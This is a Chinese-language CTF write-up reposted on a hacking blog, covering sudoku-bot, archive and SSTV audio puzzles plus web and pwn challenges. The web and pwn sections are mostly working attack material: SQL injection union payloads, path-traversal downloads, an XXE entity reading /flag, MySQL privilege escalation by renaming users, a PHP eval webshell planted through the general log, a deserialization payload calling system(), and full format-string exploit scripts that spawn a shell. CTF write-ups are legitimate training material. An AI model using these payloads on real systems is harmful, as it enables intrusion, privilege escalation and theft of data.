Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86384644

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

一、MISC

1.sudoku_easy

简单的数独交互,几个小注意点,每次发送level之后sleep5秒才会返回题目

image-20230610185716309

将形如

---------------------

800103720

023840650

410006008

300001062

000052407

072060090

160000375

205019846

000030000

---------------------

转换成二维数组进行解数独,并将返回结果重新转换成多行字符串形式

def parse_input(input_list):

    board = []

 

    for row in input_list:

        nums = list(map(int, row))

        board.append(nums)

 

    return board

 

def format_output(board):

    formatted = ""

    for row in board:

        formatted += "".join(map(str, row)) + "\n"

    return formatted.strip()

一开始以为每次获得5分,要拿到120分,range了24次,一直出问题,后来发现获得分数是递增的,同时调试了一下发现拿到120分会返回一个getshell,因此修改一下range7次

最终脚本:

def find_empty(board):

    for row in range(9):

        for col in range(9):

            if board[row][col] == 0:

                return row, col

    return None

 

 

def is_valid(board, num, pos):

    row, col = pos

    for i in range(9):

        if board[row][i] == num and col != i:

            return False

        if board[i][col] == num and row != i:

            return False

 

    box_row = row // 3

    box_col = col // 3

 

    for i in range(box_row * 3, box_row * 3 + 3):

        for j in range(box_col * 3, box_col * 3 + 3):

            if board[i][j] == num and (i, j) != pos:

                return False

 

    return True

 

 

def solve(board):

    find = find_empty(board)

    if not find:

        return True

    else:

        row, col = find

 

    for i in range(1, 10):

        if is_valid(board, i, (row, col)):

            board[row][col] = i

 

            if solve(board):

                return True

 

            board[row][col] = 0

 

    return False

 

def parse_input(input_list):

    board = []

 

    for row in input_list:

        nums = list(map(int, row))

        board.append(nums)

 

    return board

 

def format_output(board):

    formatted = ""

    for row in board:

        formatted += "".join(map(str, row)) + "\n"

    return formatted.strip()

 

# input_string = '''---------------------

# 800103720

# 023840650

# 410006008

# 300001062

# 000052407

# 072060090

# 160000375

# 205019846

# 000030000

# ---------------------

# now give me you solve:'''

 

# lists=input_string.split('\n')[1:10]

# board = parse_input(lists)

# print(board)

# solve(board)

# print(board)

 

from pwn import *

 

# 创建连接

conn = remote('47.108.165.60',27539)

 

# 接收欢迎信息

for i in range(7):

    msg = conn.recvuntil("Please input:").strip().decode("utf-8")

    print(msg)

    # 发送选择

    conn.sendline('1'.encode())

 

    # 接收下一步提示

    msg = conn.recvuntil("Please select the level:").strip().decode("utf-8")

    print(msg)

 

    conn.sendline('5'.encode())

 

    msg = conn.recvuntil("clock start").strip().decode("utf-8")

    print(msg)

    time.sleep(5)

 

    msg = conn.recvuntil("now give me you solve:").strip().decode("utf-8")

    print(msg)

    lists = msg.split('\n')[1:10]

    board = parse_input(lists)

    solve(board)

    solved = format_output(board)

    conn.sendline(solved.encode())

 

conn.interactive()

或者

 

from pwn import *


def is_valid(board, row, col, num):
    # 检查行是否合法
    for i in range(9):
        if board[row][i] == num:
            return False

    # 检查列是否合法
    for i in range(9):
        if board[i][col] == num:
            return False

    # 检查小九宫格是否合法
    start_row = (row // 3) * 3
    start_col = (col // 3) * 3
    for i in range(3):
        for j in range(3):
            if board[start_row + i][start_col + j] == num:
                return False

    return True


def solve_sudoku(board):
    for row in range(9):
        for col in range(9):
            if board[row][col] == 0:
                for num in range(1, 10):
                    if is_valid(board, row, col, num):
                        board[row][col] = num
                        if solve_sudoku(board):
                            return True
                        board[row][col] = 0  # 回溯
                return False  # 所有数字都尝试过,没有找到合适的数字
    return True


def print_sudoku(board):
    a = ''
    for row in range(9):
        for col in range(9):
            a += str(board[row][col])
        a+='\n'
    return a.strip()



context.log_level = 'debug'

p = remote('47.108.165.60',23479)

p.recv()

for i in range(7):
    p.sendline('1')

    p.recvuntil('Please select the level:')

    p.sendline('5')

    a = '---------------------\nnow give me you solve:'
    content = p.recvuntil(a).decode().split(a)[0][-130:]

    sudoku = content.split('---------------------')[1]

    sudoku = sudoku.strip()
    sudoku = sudoku.split('\n')
    tmp = []
    for sudo in sudoku:
        a = [int(s) for s in sudo]
        tmp.append(a)

    if solve_sudoku(tmp):
        result = print_sudoku(tmp)
        log.info(result)
        for line in result.split('\n'):
            p.send(line)
    #content = p.recv().decode()
p.interactive()

单独的数独解密脚本:
class SudoKu():
    def __init__(self, sudo_ku_data):
        if not isinstance(sudo_ku_data, list):
            raise TypeError(f'sudo_ku_data params must a list, but {sudo_ku_data} is a {type(sudo_ku_data)}')

        if len(sudo_ku_data) != 9 or len(sudo_ku_data[0]) != 9:
            raise TypeError(
                f'sudo_ku_data params must a 9*9 list, but {sudo_ku_data} is a {len(sudo_ku_data)}*{len(sudo_ku_data[0])} list')

        self.sudo_ku = sudo_ku_data
        # 存放每一行已有的数据
        self.every_row_data = {}
        # 每一列已有的数字
        self.every_column_data = {}
        # 每一个3*3有的数字
        self.every_three_to_three_data = {}
        # 每一个空缺的位置
        self.vacant_position = []
        # 每一个空缺位置尝试了的数字
        self.every_vacant_position_tried_values = {}

        # 初始化数据
        self._init()

    def _add_row_data(self, row, value):
        '''
        初始化的时候
        添加数据到self.every_row_data中
        :param row:
        :param value:
        :return:
        '''
        if row not in self.every_row_data:
            self.every_row_data[row] = set()

        if value in self.every_row_data[row]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_row_data[row].add(value)

    def _add_column_data(self, column, value):
        '''
        初始化的时候
        添加数据到self.every_column_data中
        :param column:
        :param value:
        :return:
        '''
        if column not in self.every_column_data:
            self.every_column_data[column] = set()

        if value in self.every_column_data[column]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_column_data[column].add(value)

    def _get_three_to_three_key(self, row, column):
        '''
        得到每一个3*3的key
        :param row:
        :param column:
        :return:
        '''
        if row in [0, 1, 2]:
            if column in [0, 1, 2]:
                key = 1
            elif column in [3, 4, 5]:
                key = 2
            else:
                key = 3
        elif row in [3, 4, 5]:
            if column in [0, 1, 2]:
                key = 4
            elif column in [3, 4, 5]:
                key = 5
            else:
                key = 6
        else:
            if column in [0, 1, 2]:
                key = 7
            elif column in [3, 4, 5]:
                key = 8
            else:
                key = 9

        return key

    def _add_three_to_three_data(self, row, column, value):
        '''
        初始化的时候
        添加数据到self.every_three_to_three_data中
        :param row:
        :param column:
        :param value:
        :return:
        '''
        key = self._get_three_to_three_key(row, column)

        if key not in self.every_three_to_three_data:
            self.every_three_to_three_data[key] = set()

        self.every_three_to_three_data[key].add(value)

    def _init(self):
        '''
        根据传入的数独,初始化数据
        :return:
        '''
        for row, row_datas in enumerate(self.sudo_ku):
            for column, value in enumerate(row_datas):
                if value == '':
                    self.vacant_position.append((row, column))
                else:
                    self._add_row_data(row, value)
                    self._add_column_data(column, value)
                    self._add_three_to_three_data(row, column, value)

    def _judge_value_is_legal(self, row, column, value):
        '''
        判断方放置的数据是否合法
        :param row:
        :param column:
        :param value:
        :return:
        '''

        # value是否存在这一行数据中
        if value in self.every_row_data[row]:
            return False
        # value是否存在这一列数据中
        if value in self.every_column_data[column]:
            return False

        # value是否存在这个3*3的宫内
        key = self._get_three_to_three_key(row, column)
        if value in self.every_three_to_three_data[key]:
            return False

        return True

    def _calculate(self, vacant_position):
        '''
        计算,开始对数独进行放置值
        :param vacant_position:
        :return:
        '''
        # 得到当前位置
        row, column = vacant_position
        values = set(range(1, 10))

        # 对当前为位置创建一个唯一key,用来存放当前位置已经尝试了的数据
        key = str(row) + str(column)
        # 如果这个key存在,就对values进行取差集,因为两个都是集合(set),直接使用-就行了
        if key in self.every_vacant_position_tried_values:
            values = values - self.every_vacant_position_tried_values[key]
        # 如果这个key不存在,就创建一个空的集合
        else:
            self.every_vacant_position_tried_values[key] = set()

        for value in values:
            # 对当前数据添加到当前位置尝试过的的数据中
            self.every_vacant_position_tried_values[key].add(value)
            # 如果当前value合法,可以放置
            if self._judge_value_is_legal(row, column, value):
                # print(f'set {vacant_position} value is {value}')
                # 更新 判断数据合法时 需要使用到的数据
                self.every_column_data[column].add(value)
                self.every_row_data[row].add(value)
                key = self._get_three_to_three_key(row, column)
                self.every_three_to_three_data[key].add(value)

                # 修改这个位置的值为value
                self.sudo_ku[row][column] = value
                # 返回True 和填充的 value
                return True, value

        return False, None

    def _backtrack(self, current_vacant_position, previous_vacant_position, previous_value):
        '''
        回溯
        :param current_vacant_position: 当前尝试失败的位置
        :param previous_vacant_position: 上一次成功的位置
        :param previous_value:上一次成功的值
        :return:
        '''
        # print(f"run backtracking... value is {previous_value},vacant position is {previous_vacant_position}")
        row, column = previous_vacant_position
        # 对上一次成功的值从需要用到的判断的数据中移除
        self.every_column_data[column].remove(previous_value)
        self.every_row_data[row].remove(previous_value)

        key = self._get_three_to_three_key(row, column)
        self.every_three_to_three_data[key].remove(previous_value)

        # 并且上一次改变的的值变回去
        self.sudo_ku[row][column] = ''

        # 对当前尝试失败的位置已经城市失败的的值进行删除,因为回溯了,所以下一次进来需要重新判断值
        current_row, current_column = current_vacant_position
        key = str(current_row) + str(current_column)
        self.every_vacant_position_tried_values.pop(key)

    def get_result(self):
        '''
        得到计算之后的数独
        :return:
        '''
        # 空缺位置的长度
        length = len(self.vacant_position)
        # 空缺位置的下标
        index = 0

        # 存放已经尝试了的数据
        tried_values = []
        # 如果index小于length,说明还没有计算完
        while index < length:
            # 得到一个空缺位置
            vacant_position = self.vacant_position[index]

            # 计入计算函数,返回是否成功,如果成功,value为成功 的值,如果失败,value为None
            is_success, value = self._calculate(vacant_position)
            # 如果成功,将value放在tried_values列表里面,因为列表是有序的.
            # index+1 对下一个位置进行尝试
            if is_success:
                tried_values.append(value)
                index += 1
            # 失败,进行回溯,并且index-1,返回上一次的空缺位置,我们需要传入当前失败的位置 和 上一次成功的位置和值
            else:
                self._backtrack(vacant_position, self.vacant_position[index - 1], tried_values.pop())
                index -= 1

            # 如果index<0 了 说明这个数独是无效的
            if index < 0:
                raise ValueError(f'{self.sudo_ku} is a invalid sudo ku')

        # 打印计算之后的数独
        self.show_sudo_ku()
        return self.sudo_ku

    def show_sudo_ku(self):
        '''
        显示数独
        :return:
        '''
        for row in self.sudo_ku:
            for b in row:
                print(str(b), end="")
            print()
            # print(row)    # 原本


##################################################
#  用来判断最后计算的数独是否合法,和计算没有关系     #
##################################################

def judge_value_is_legal(row, column, value, sudo_ku):
    # column
    for i in range(0, 9):
        if row == i:
            continue
        if value == sudo_ku[i][column]:
            return False

    # row
    for i in range(0, 9):
        if column == i:
            continue
        if value == sudo_ku[row][i]:
            return False

    # three_to_three
    for i in range(row // 3 * 3, row // 3 * 3 + 3):
        for j in range(column // 3 * 3, column // 3 * 3 + 3):
            if i == row and j == column:
                continue
            if value == sudo_ku[i][j]:
                return False

    return True


def judge_sudo_ku_is_legal(sudo_ku):
    for row, row_values in enumerate(sudo_ku):
        for column, value in enumerate(row_values):
            if not judge_value_is_legal(row, column, value, sudo_ku):
                return False
    return True


if __name__ == '__main__':
    data = """450706200
200000048
000408060
085290006
602003950
700600830
500040680
900300100
821065073"""
    sudo1 = data.split('\n')
    sudo_ku_data = [list(s) for s in sudo1]
    for i in sudo_ku_data:
        for b in range(len(i)):
            if i[b] != '0':
                i[b] = int(i[b])
            else:
                i[b] = ''

    # 得到计算好的数独
    sudo_ku = SudoKu(sudo_ku_data).get_result()

    # 判断最后生成的数独是否是有效的
    # print(judge_sudo_ku_is_legal(sudo_ku))



image-20230610190212900

 

2.烦人的压缩包

打开压缩包要密码,爆破密码645321

 

 

o4tr11d5s1413727.jpg  

 

 

jpg文件尾压缩包

image-20230610190322841

提取出来直接解压提示crc报错

 

修复压缩包的crc3twflacqnxh13731.png

 

解开后ook解密

 

y4wsfkmsn5n13732.png https://www.splitbrain.org/services/ook

 

image-20230610193746752

3.sudoku_speedrun

小小升级版数独,telnet交互:

kali :: ~ 127 » telnet 47.108.165.60 37569

Trying 47.108.165.60...

Connected to 47.108.165.60.

Escape character is '^]'.

 

Ubuntu 22.04.2 LTS

Welcome to Play Sudoku Game!

Play(1)

Exit(2)

Please input

> 1

 

Tips:

R to replay

Q to exit

WASD to move

You have 10000ms to solve it :)

Please select the level

easy(5)

normal(6)

hard(7)

>5

image-20230610193910056

这次需要解出之后通过移动光标将数独还原

其实大差不差,这里主要几个点

题目用了ANSI转义码,读取数据时会有大量的乱码,需要replace掉 response=response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'') 这里我为方便采用了在每一行右移填补到最后之后,往下再重新左移到最左边,再开始下一行的右移填补,而不是用左移填补导致需要倒着索引,略微增加了时间复杂度   def solve(input_string):     original_board = parse_input(input_string)# 创建原始数组的副本     board_copy = [row[:] for row in original_board]         solution = solve_sudoku(original_board)     # print(board_copy)     # print(solution)     lists=[]     for i in range(9):         for j in range(9):             if board_copy[i][j] == 0:                 lists.append(str(solution[i][j]))             if j != 8:                 lists.append('d')         lists.extend('saaaaaaaa')             # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")     return lists   读取到形如

‘’’

-------------------------

| 4 3 0 | 0 0 6 | 2 0 0 |

| 8 0 0 | 0 7 0 | 0 0 3 |

| 2 0 7 | 0 5 0 | 1 4 6 |

-------------------------

| 0 0 0 | 0 0 0 | 0 7 5 |

| 7 5 0 | 8 0 0 | 6 2 0 |

| 0 2 9 | 7 3 5 | 0 1 0 |

-------------------------

| 5 6 0 | 4 0 3 | 0 9 0 |

| 0 0 2 | 5 0 0 | 8 0 0 |

| 3 0 1 | 0 8 2 | 0 6 4 |

-------------------------’’’

转二维数组

def parse_input(input_string):

    rows = input_string.strip().split('\n')

    board = []

 

    for row in rows:

        row = row.replace('-', '').replace('|', '').split()

        nums = [int(num) if num != '0' else 0 for num in row]

        if nums!=[]:

            board.append(nums)

 

    return board

  经过尝试后发现只要发送数组服务器便会执行移动与填充操作,例如发送[‘d’,‘d’,‘1’]光标会右移两个单位并填入1

最终脚本:

import telnetlib

def solve_sudoku(board):

    if is_complete(board):

        return board

 

    row, col = find_empty_cell(board)

    for num in range(1, 10):

        if is_valid(board, row, col, num):

            board[row][col] = num

            if solve_sudoku(board):

                return board

            board[row][col] = 0

 

    return None

 

def is_complete(board):

    for row in board:

        if 0 in row:

            return False

    return True

 

def find_empty_cell(board):

    for i in range(9):

        for j in range(9):

            if board[i][j] == 0:

                return i, j

    return None, None

 

def is_valid(board, row, col, num):

    # Check row

    if num in board[row]:

        return False

 

    # Check column

    for i in range(9):

        if board[i][col] == num:

            return False

 

    # Check 3x3 box

    box_row = (row // 3) * 3

    box_col = (col // 3) * 3

    for i in range(box_row, box_row + 3):

        for j in range(box_col, box_col + 3):

            if board[i][j] == num:

                return False

 

    return True

 

def parse_input(input_string):

    rows = input_string.strip().split('\n')

    board = []

 

    for row in rows:

        row = row.replace('-', '').replace('|', '').split()

        nums = [int(num) if num != '0' else 0 for num in row]

        if nums!=[]:

            board.append(nums)

 

    return board

 

def solve(input_string):

    original_board = parse_input(input_string)# 创建原始数组的副本

    board_copy = [row[:] for row in original_board]

 

 

    solution = solve_sudoku(original_board)

    # print(board_copy)

    # print(solution)

    lists = []

    for i in range(9):

        for j in range(9):

            if board_copy[i][j] == 0:

                lists.append(str(solution[i][j]))

            if j != 8:

                lists.append('d')

        lists.extend('saaaaaaaa')

            # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")

    return lists

 

tn = telnetlib.Telnet('47.108.165.60',36697)

 

welcome_msg = tn.read_until(b"Please input")

print(welcome_msg.decode("utf-8"))

 

# 发送返回值到服务器

tn.write("1".encode("utf-8") + b"\n")

 

msg = tn.read_until(b"hard(7)")

print(msg.decode("utf-8"))

 

tn.write("5".encode("utf-8") + b"\n")

 

msg = ''

for i in range(15):

    response = tn.read_until(b"\n")

    # print((response))

    response = response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'')

    msg += response.decode().strip('> 5')

tn.write(str(solve(msg)).encode("utf-8") + b"\n")

tn.interact()

 

或者脚本:

def solve_sudoku(puzzle):
    # 辅助函数:检查数字num是否可以放置在指定位置(row, col)
    def is_valid(num, row, col):
        # 检查行
        for i in range(9):
            if puzzle[row][i] == num:
                return False

        # 检查列
        for i in range(9):
            if puzzle[i][col] == num:
                return False

        # 检查3x3方格
        start_row = (row // 3) * 3
        start_col = (col // 3) * 3
        for i in range(3):
            for j in range(3):
                if puzzle[start_row + i][start_col + j] == num:
                    return False

        return True

    # 辅助函数:回溯求解数独
    def backtrack():
        for row in range(9):
            for col in range(9):
                if puzzle[row][col] == 0:  # 找到一个空格
                    for num in range(1, 10):  # 尝试数字1-9
                        if is_valid(num, row, col):
                            puzzle[row][col] = num  # 填入数字
                            if backtrack():  # 递归求解
                                return True
                            puzzle[row][col] = 0  # 回溯,撤销选择
                    return False
        return True

    # 将输入的字符串转换成二维列表
    puzzle = [[int(puzzle[i * 9 + j]) for j in range(9)] for i in range(9)]

    # 调用回溯函数求解数独
    if backtrack():
        # 将二维列表转换回字符串
        solution = ''.join(str(puzzle[i][j]) for i in range(9) for j in range(9))
        return solution
    else:
        return "No solution found."


# # 输入数独题目
# puzzle_input = "002506008160080500000070601006030075325090164070620000207041800010807340850003019"
#
# # 解答数独题目
# solution = solve_sudoku(puzzle_input)
#
# # 输出结果
# print(solution)



from pwn import *
context.log_level="debug"
p = remote('47.108.165.60',32449)
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'7')
p.recv()
s = p.recv()
s = s.replace(b'\x1b[7;32m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[0m',b'').replace(b'\r\n',b'').replace(b'|',b'').replace(b' ',b'').replace(b'-',b'').replace(b'\x1b[H\x1b[2J',b'').decode()
# print(s)
solution = solve_sudoku(s)
# print(solution)
flag = ''
for i in range(9):
    for j in range(9):
        if(s[i*9+j] != '0'):
            flag += 'd'
        else:
            flag += solution[i*9+j]
            flag += 'd'
    flag = flag[:-1]
    flag += 'saaaaaaaa'
print(flag)
flag = flag.encode()
p.sendline(flag)
r = p.recvall(100000)
print(r.decode())
print(s)
print(solution)

 

xdxkysuqcwt13736.jpg  

 

4.cancellation

题目得到noise.mp4,意外的发现用windows media player播放可以读到一串sstv

image-20230610200317154

结合file用Matroska打包猜测应该是mkv文件

image-20230610200410070

用mkvtool发现确实有多个音频轨道

image-20230610200535476

mkvextract.exe提取出来两个音频(轨道是从0开始的,mkvtool里的轨道编号从1开始的)

image-20230610201638810

轨道3可以读到一张图

image-20230610200931537

轨道2可以读到一个模糊无法识别的二维码,仔细观察可以发现背景图似乎就是轨道3读到的图

image-20230610201035296

在测试过程中发现在一定位置挂上notch之后,可以读到很清晰的后半边的二维码,左半边变得更加模糊了,但却更加清晰的显示出背景图,明显就是轨道3的图

image-20230610201214671

再结合题目名,大胆猜测轨道2的sstv做了一个叠加处理,尝试几次后2*轨道2-轨道3可以扫描出正确的图像(这里放完整二维码图片会被csdnban掉)

import librosa

import soundfile as sf

import numpy as np

 

audio1, sr1 = librosa.load('2.wav', sr=None)

audio2, sr2 = librosa.load('3.wav', sr=None)

 

result =  2*audio1-audio2

sf.write('result.wav', result, sr1)

 

或者脚本:

from scipy.io import wavfile
import numpy as np

# 加载两个音频文件
rate1, audio1 = wavfile.read('output1.wav')
rate2, audio2 = wavfile.read('output2.wav')

# 确保两个音频的采样率相同,如果不同,进行重新采样
if rate1 != rate2:
    # 重新采样audio2为与audio1相同的采样率
    audio2 = np.interp(np.linspace(0, len(audio2), len(audio1)), np.arange(len(audio2)), audio2).astype(audio1.dtype)

# 确保两个音频的长度相同,如果不同,进行裁剪或填充
length = min(len(audio1), len(audio2))
audio1 = audio1[:length]
audio2 = audio2[:length]

# 音频相减
result = audio1 - audio2//2

# 保存为新的音频文件
wavfile.write('output_diff.wav', rate1, result)

 

 

image-20230610215510870

扫描的结果解base64得到图片

image-20230610202014820

拿到flag

二、web

1.go题目

注册用户登录进去 jcva3pvlzvx13749.png

 

categories这里随便加一个

 

phou1rm31df13750.jpg

 

新建一个task 放到里面

 

uqxnmtbnkpy13752.jpg

 

然后在search那里注入,这里解释下为什么会这样

stmt := "select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%" + query + "%' or content like '%" + query + "%'order by created_date desc"

这里是直接query没任何限制,直接注入就行了,但是调试的时候没添加priority这个字段,导致查询一直错误,没调试出来真的可惜。

 

o11jubnfbuc13754.jpg

 

然后到这里就很明了构造闭合,直接去查询数据。

 

vlh5fw5p25s13755.jpg

 

select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%1') union select 1,email,3,4,5,username from user -- %' or content like '%1') union select 1,email,3,4,5,username from user -- %') order by created_date desc

然后题目数据库里面有个 oss的桶,这里环境没了没法继续了。

1') union select 1,url,3,4,secretId ,secretKey from secret -- +
查询出来登录拿flag就行了。  

 

2.CarelessPy

打开环境,可以发现有两个接口,一个是eval,另一个是login处

访问eval路径,可知get请求访问,且cmd传参,要任意读取part.cpython-311.pyc文件,但是不知道具体路径。

 

znnq0p5xa5i13756.jpg  

 

存在文件下载漏洞,构造Payload:

/download?file=../../../../../etc/passwd  下载成功

/download?file=../../../../../proc/1/environ 下载失败

构造去下载提示的start.sh

ugnw2v013nt13758.jpg /download?file=../../../../../start.sh 得到文件内容,app目录下 存在 part.py文件。 ig44bhdj1g013759.jpg  

 

 

继续构造下载pyc文件/download?file=../../../../../../../app/__pycache__/part.cpython-311.pyc

或者/eval?cmd=app/__pycache__/

使用在线工具进行反编译,得到session的key

 

 

ipcpff3odlw13761.png

然后对session进行伪造
tkablvm4esv13762.png

构造session去登录,获得路由

 

qolbvojowjf13763.jpg

 

登录成功
ikhkzxhgejt13765.png
pes0f5fb2w013767.png

一看就是XML注入
pwmvrqh1gnw13768.png

<?xml version="1.0" ?><!DOCTYPE message [
<!ENTITY shell SYSTEM "file:///flag">
]>
<result><ctf>杂鱼~</ctf><web>
&shell;
</web></result>
#SYCTF{COrReCt_AN5w3r_fa0efe410508}


 

 

3.Confronting robot

方法一:

打开网页发现存在sql注入
shpzlfcpcu213770.png

直接sqlmap跑
payload:sqlmap -u "http://x.x.x.x:34918/?myname=aaa" -D robot_data -T name --columns --dump
vxd3f0e0sjq13771.png

得到路由/sEcR@t_n@Bodyknow.php
在该页面可以通过POST传入code直接执行Sql语句
0zhu3dx3l4s13772.png

使用sqlmap跑mysql.user的数据表查看一下权限,发现当前用户拥有Super_priv的权限,但是没有其他可以利用权限。但是root用户存在所有权限
3uvccsk1tom13773.png

解题思路:修改'root'@'::1'为'secret'@'%',然后把'secret'@'localhost'随便修改一个名字,这样链接的数据库就拥有root权限了。需要注意的是密码也需要改成和secret相同。
把secret密码dump下来
qqahtt5e52413774.png

首先修改root的密码,
payload:alter user 'root'@'127.0.0.1' identified by PASSWORD '*C4809B442CD41D91C25BAEA070D00FF39A87190D';
fvgj2vrny5k13775.png

查询是否修改成功
efigwct5bhl13776.png

在继续把'root'@'127.0.0.1'修改成'secret'@'%'
payload:rename user 'root'@'127.0.0.1' to 'secret'@'%';
oaotpooujw213777.png

然后把'secret'@'localhost'修改成任意名字即可
payload:rename user 'secret'@'localhost' to 'aaa'@'%';
hj50te2v0zl13779.png

最后直接读取game.php文件,获得flag
f3zovhthwml13780.png

SYCTF{RObOt_r0B07_3599ec7eac28}

 

方法二:

参数myname存在SQL注入,SQLMAP直接跑

 

vlhmkabgqhb13782.jpg 得到路由/sEcR@t_n@Bodyknow.php,该路由可以直接调用数据库执行SQL uaz4bfbmbhc13784.jpg

 

看题意要猜拳 10 把正确,才能获取 flag,同时还有另一个注入点,测试插入数据失败。测试了一下日志 getshell 成功,非预期

SHOW VARIABLES LIKE '%general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php';
select "<?php eval($_POST['pass']);?>";

 

然后直接select记录一次马即可shell

蚁剑连接game.php得到flag

 

 

z2ulr1fq1vl13785.jpg  

 

 

 

4.4号的罗纳尔多

jibfcgb0fix13786.jpg

一个反序列化,两个关键点要绕,第一个可以通过 php 内置类 splstack 绕过匹配 O 开头的序列化数据;第二个可以通过__halt_compiler();来结束 php 代码执行流程,绕过givemegirlfriend!字符串的影响。

<?php 

class evil{
    public $cmd;
    public $a;
    
}
$evilClass = new evil();
$evilClass->cmd = 'system(next(getallheaders()));__halt_compiler();';
$a = new SplStack();
$a -> push($evilClass);
echo serialize($a);

 

4bycg4xm0br13788.jpg  

 

 

三、Pwn

1.harde_pwn

第一步:溢出seed为固定值,这样的话就变成了伪随机。
第二步:用格式化字符串漏洞泄露libc和程序基地址。
第三步:用格式化字符串漏洞打heap_fmt函数运行时候rbp下面的返回地址为onegadgets。
第四步:用格式化字符串漏洞打heap_fmt函数中read函数的返回地址为leave ret。
第五步:get shell。

POC:

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')

def duan():
 gdb.attach(p)
 pause()
 
rand = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]


p.recvuntil('game!\n')
payload = b'a'*(0x20-0x4)+p32(0)
p.send(payload)

for i in range(21):
 p.sendlineafter('input: \n',str(rand[i]))
 p.recvuntil('Success!\n')
p.recvuntil('ata ;)\n')
payload = 'aaaa%3$pbbbb%15$p'
p.send(payload)
p.recvuntil('aaaa')
libc_base = int(p.recv(14),16)-1132946
p.recvuntil('bbbb')
stack = int(p.recv(14),16)


print('stack-->'+hex(stack))
print('libc_base-->'+hex(libc_base))

temp = stack-320+0x20
temp = str(hex(temp)[-4:])
print('temp-->'+temp)

payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

og = [0xebcf1,0xebcf5,0xebcf8]
shell = libc_base+og[1]


payload = '%'+str(int(hex(shell)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')


payload = '%'+str(int(temp,16)+2)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(shell)[-8:-4],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

payload = '%'+str(int(temp,16)+4)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(shell)[-12:-8],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

payload = 'aaaa%13$p\x00'
p.send(payload)
p.recvuntil('aaaa')

pie = int(p.recv(14),16)-0x1502

print('pie-->'+hex(pie))
print('shell-->'+hex(shell))

gongji = pie+0x1366

temp = stack-320+0x20-0x20
temp = str(hex(temp)[-4:])

payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(gongji)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

p.interactive()

 

或者脚本:

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

context.log_level='debug'

elfelf='./harde_pwn'

#context.arch='amd64'

while True :

  # try :

    elf=ELF(elfelf)

    context.arch=elf.arch

 

    gdb_text='''

      b printf

      '''

 

    if len(sys.argv)==1 :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=process(elfelf)

      gdb_open=1

      # io=process(['./'],env={'LD_PRELOAD':'./'})

      clibc.srand(0)

      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    else :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=remote('47.108.165.60',47183)

      gdb_open=0

      clibc.srand(0)

      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    def gdb_attach(io,a):

      if gdb_open==1 :

        gdb.attach(io,a)

 

    io.recvuntil('elcome to a ctype game!\n')

    io.send('\x00'*0x20)

    for i in range(21):

      io.recvuntil(': \n')

      io.sendline(str((clibc.rand() ^ 0x24) + 1))

 

    io.recv()

    io.send('%31$p')

    io.recvuntil('0x')

 

 

    

    libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main']-128

    libc.address=libc_base

    bin_sh_addr=libc.search('/bin/sh\x00').next()

    system_addr=libc.sym['system']

    free_hook_addr=libc.sym['__free_hook']

    pop_rax_ret=libc.search(asm('pop rax;ret')).next()

    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

    syscall_ret=libc.search(asm('syscall;ret')).next()

 

    io.send('%15$p\x00')

    io.recvuntil('0x')

    stack=int(io.recv(12),16)-0x38-0xe8

    io.recv()

 

    pay='%'+str(stack&0xffff)+'c%15$hn'

    io.send(pay+'\x00')

    

 

    def go(a):

      io.sendafter('input your data ;)\n',a+'\x00')

 

    def fmt(addr,value):

      pay='%'+str(addr&0xffff)+'c%15$hn'

      go(pay)

      off_1=(value)&0xff

      if value==0:

        go('%45$hhn')

      else:

        go('%'+str(off_1)+'c%45$hhn')

 

      for i in range(5):

        pay='%'+str((addr+1+i)&0xff)+'c%15$hhn'

        go(pay)

